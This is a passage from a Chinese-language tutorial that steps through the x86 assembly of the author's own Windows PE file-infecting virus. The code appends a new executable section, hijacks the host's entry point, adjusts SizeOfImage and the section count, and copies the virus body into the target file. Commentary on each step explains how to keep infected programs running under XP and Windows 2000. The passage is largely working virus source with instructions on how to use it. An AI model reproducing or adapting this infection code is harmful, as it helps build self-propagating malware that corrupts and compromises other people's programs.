    push DWORD ptr [ebx+hMap]

    call DWORD ptr [ebx+MapViewOfFile1]

    or eax,eax

    jz @error1

    mov  DWORD ptr [ebx+pMap],eax

    根据对齐后新的文件大小对文件重新映射全部文件视图。这时,文件在磁盘上的大小也相应增加了。

     


    mov esi,eax

    add esi,DWORD ptr [esi+3ch]

    下面两行代码能够确保感染程序在xp下运行时不会弹出个不能加载某某DLL的错误对话框!!在我不知道的时候,我曾经编写了一个低水平的病毒,这个病毒能感染很多文件。我当时认为病毒感染就是这样了,但是有一天,我发现被病毒感染后的记事本程序无法使用,总是提示“非法win32程序”我将病毒重新写了一次,把代码改了一些,但是仍然没有效果。我非常失望,上网看文章玩。无意中看到老罗的一篇文章,其中有个地方他专门写注释感激一位在技术帮助了他的人,指出某某处应该清0。看来他也曾经遇到过这个问题,我将他的代码添加到我的程序中,奇迹发现了,能正常感染了。我后来查了许多资料也没找到这个结构是做什么的,只知道它是IMAGE_DATA_DIRECTORY的第11个成员。

    push 0

    pop [esi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory(88)]

     

    mov ecx,DWORD ptr [esi+74h]

    shl ecx,3

    xor edx,edx

    lea edi,[ecx+esi+78h]

    movzx eax,WORD ptr [esi+6h]

    imul eax,eax,28h

    add edi,eax ;定位到最后一个节结尾

    ;开始填充新增的节结构体

    这段代码很简单就是定位到节表后头即最后一个节的结尾处。你也许可以使用SizeOfHeader加上NumberOfSection*节大小28h但是我仍然比较我现在使用的方法。原因是肯定兼容性好的多,我的这个方法是取得IMAGE_DATA_DIRECTORY的个数乘上其大小在加上其他头剩余的大小。再加上 节表的个数*节的大小28h。有很多病毒都是用的这种方法。为什么?我觉得Windows将来也许会扩充IMAGE_DATA_DIRECTORY成员的个数吧。所以动态的取得它比较好点。好了,现在edi已经指向节表末尾了,如今是新添加节的地盘了:(马上给它填我们的节表内容。

    mov DWORD ptr [edi],'1ns'

    mov DWORD ptr [edi+8],Virus_End-Virus_Start

    这里填入节的名字sn1(这个域有8个字节哟),并且给Virtual Size(有的地方称作Physical Size)我的病毒的大小值,这个值不需要对齐。说到对齐,大家要清楚一个概念就是内存中的数据节对齐,文件中的数据文件对齐。

    mov ecx,DWORD ptr [esi+38h]

    mov eax,DWORD ptr [edi-28h+0ch]

    add eax,DWORD ptr [edi-28h+8h]

    mov ecx,DWORD ptr [esi+38h]

    invoke Align1

    mov DWORD ptr [edi+0ch],eax

    取得节对齐后,给节的Virtual Address成员即在内存中装入本节时的内存地址赋值。方法是取得上一个节的起始地址加上上一节的未对齐的大小即Virtual Size还要经过节对齐,就可以了。

     

    mov ecx,DWORD ptr [esi+3ch]

    mov eax,Virus_End-Virus_Start

    invoke Align1

    mov DWORD ptr [edi+10h],eax

    现在我们该给节的SizeOfRawData给值了。这个域是指节在文件中的大小,必须要经过文件对齐,那好,我们取得病毒大小,文件对齐后就行了

    mov eax,DWORD ptr [edi-28h+10h]

    add eax,DWORD ptr [edi-28h+14h]

    mov DWORD ptr [edi+14h],eax

    还有个节在文件中偏移的值叫PointerToRawData,这个值的计算方法是上一个节的SizeOfRawData加上上一个节的PointerToRawData。为什么呢?自己动脑壳吧。不动脑壳学会了也没用。

    mov DWORD ptr [edi+24h],0E00000E0h

    这个域是最好理解的了,成员名字叫Characteristics中文意思是属性。有可读,可读可写,可执行,可共享等等,比较重要的几个属性就是我列出的几个,其中可共享是比较难理解的,讲讲,可共享属性可以让该节的数据或代码拒绝写时拷贝(Copy On Write),什么是写时拷贝呢,比如记事本有10个实例在运行,Windows就给同样的程序分配10个同样大小的进程空间,微软可没那么傻,他为了能节省内存使用了一种技术叫写入时拷贝。10个记事本同时运行就将10个记事本的进程空间映射到1个相同的物理内存上去,当有一个记事本想往里面写入时,数据一变全变,就会影响了其他9个记事本,但是有了写入时拷贝技术的干涉,就给那个写入数据的记事本另外分配块内存,将新分配的物理内存影射到记事本写入的那块进程空间地址上去,并且将原来的数据拷贝到这块新的内存中去,这样它再写入时就是写的新内存了,高兴写啥都不会影响其他的进程。如果还没懂的去看看“windows核心编程”内存管理那部分。再回到我们的感染问题上来,如果你的节有共享属性,就意味着它拒绝写入时拷贝技术,就是那个写数据的记事本,将会影响到其他9个记事本了,如果这是个变量的话,就是10个记事本都可以影响到的全局或称共享变量了。

    mov eax,DWORD ptr [edi+0ch]

    add eax,Start-Virus_Start

    上面两行代码是将病毒的代码入口点计算出来后头有用,计算方法简单,是我病毒开始执行地方的标号Start减去病毒开始的地方标号Virus_Start,你可能会有点不理解,这是因为病毒开始的地方不是我病毒开始执行代码的地方,我病毒开始执行代码的地方前面有一大段的数据,这些数据也是包含在代码段里的。就是说我的病毒只有一个节.text。(代码节叫。Text)-

    push DWORD ptr [esi+28h]

    pop DWORD ptr [ebx+oldip]

    保存目标文件原来的代码入口点,这是个偏移而已,如果真的要跳回原来的代码入口点还不能只执行AddressOfEntryPointer(原来代码入口点的指针),还要加个ImageBase成员再跳,否则就等于使你的病毒自杀。为啥?因为AddressOfEntryPointer 是个偏移,数字较小,一跳就很有可能会跳到2GB以上的系统进程空间去了,你看微软饶的了你不。除非你使用SHE。

    push eax

    pop DWORD ptr [esi+28h]

    现在将上一步的上一步计算出来的病毒的代码入口点地址加上了本节的偏移地址Virtual Address成员的值,填进去。为啥要连加两个偏移呢?因为你脑壳不会拐弯:(

    ;计算新的sizeofimage

    mov eax,Virus_End-Virus_Start

    add eax,DWORD ptr [esi+50h]

    mov ecx,DWORD ptr [esi+38h]

    invoke Align1

    mov DWORD ptr [esi+50h],eax

    这个SizeOfImage成员搞不好很要命的哟!Windows2000下这个值稍微有点没对齐好就拜拜。很多人曾经在这个地方吃过亏,FT。这个值的意思是整个可执行体映射后在内存中的大小。将你新增的大小加上原来SIzeOfImage经过节对齐就好了。如果你哪天感染了的文件无法运行,先看看这有问题没有。

    inc WORD ptr [esi+6h]

    刚刚增加了一个节,现在将NumberOfSection的值加一

    push DWORD ptr [esi+34h]

    pop DWORD ptr [ebx+oldbase]

    取得程序文件运行时的内存基地址。我们的病毒使用了重定位,用不到它,但是我们要跳回原来程序文件的代码入口点继续执行,就要用它,前面已经说的很清楚了。

    mov eax,DWORD ptr [edi+10h];取得文件偏移

    add eax,DWORD ptr [edi+14h];加上文件大小,呵呵,文件偏移加大小,又是最后一个节,聪明的你可能已经想到了,这分明就是文件结尾么,这个东东留到后头用。

     

     

     

    and  DWORD ptr [ebx+IsInject],0;这个值不管,这是我插入其他进程用到的一个标志变量。

    push eax

    mov DWORD ptr [esi+4ch],'1.ns'

    mov ecx,Virus_End-Virus_Start

    mov edi,DWORD ptr [edi+14h]

    add edi,DWORD ptr [ebx+pMap]

    lea esi,[ebx+Virus_Start]

    rep movsb

    上面的代码主要功能是按照我们新增加的节的PointerToRawData指向的位置把病毒代码写进去。

    push  DWORD ptr [ebx+pMap ]

    call DWORD ptr [ebx+UnmapViewOfFile1]

     

    push DWORD ptr [ebx+hMap ]

    call DWORD ptr [ebx+CloseHandle1]

    关闭内存映射文件,不懂的去复习Win32Api去吧。

    pop eax

     

    push FILE_BEGIN

    push 0

    push eax

    push DWORD ptr [ebx+hFile ]

    call  DWORD ptr [ebx+SetFilePointer1]

    将文件指针从到文件开头移动到新的文件结尾处。

    push DWORD ptr [ebx+hFile ]

    call DWORD ptr [ebx+SetEndOfFile1]

    设置文件指针指向的位置为结束位置,(实际上是在调整文件大小)为什么要这么做呢?因为开始的时候我将文件映射时将文件大小改成 原文件大小+未对齐的病毒体大小。然而这个大小不正确,应该是 原文件大小+病毒体对齐后的大小,所以我又调用了一次函数重新将文件末尾改成了 我新加节的 PointerToRawData+SizeOfRawData处,相当于大小等于 原文件大小+SizeOfRawData SizeOfRawData成员就是病毒体对齐后的大小了,当然你可以在一开始就按照  原文件大小+病毒体对齐后的大小进行映射,这样更好,少调用几个函数。我打算在我下一个病毒的版本进行大大的改造,这样的垃圾代码不会再出现了。

    @error1:

    push DWORD ptr [ebx+hFile]

    call DWORD ptr [ebx+CloseHandle1]

    关闭文件,这时文件就顺利改变了。

    push DWORD ptr [ebx+pMap]

    call DWORD ptr [ebx+UnmapViewOfFile1]

     
    push DWORD ptr [ebx+hMap]

    call DWORD ptr [ebx+CloseHandle1]

    ret
Logo

更多推荐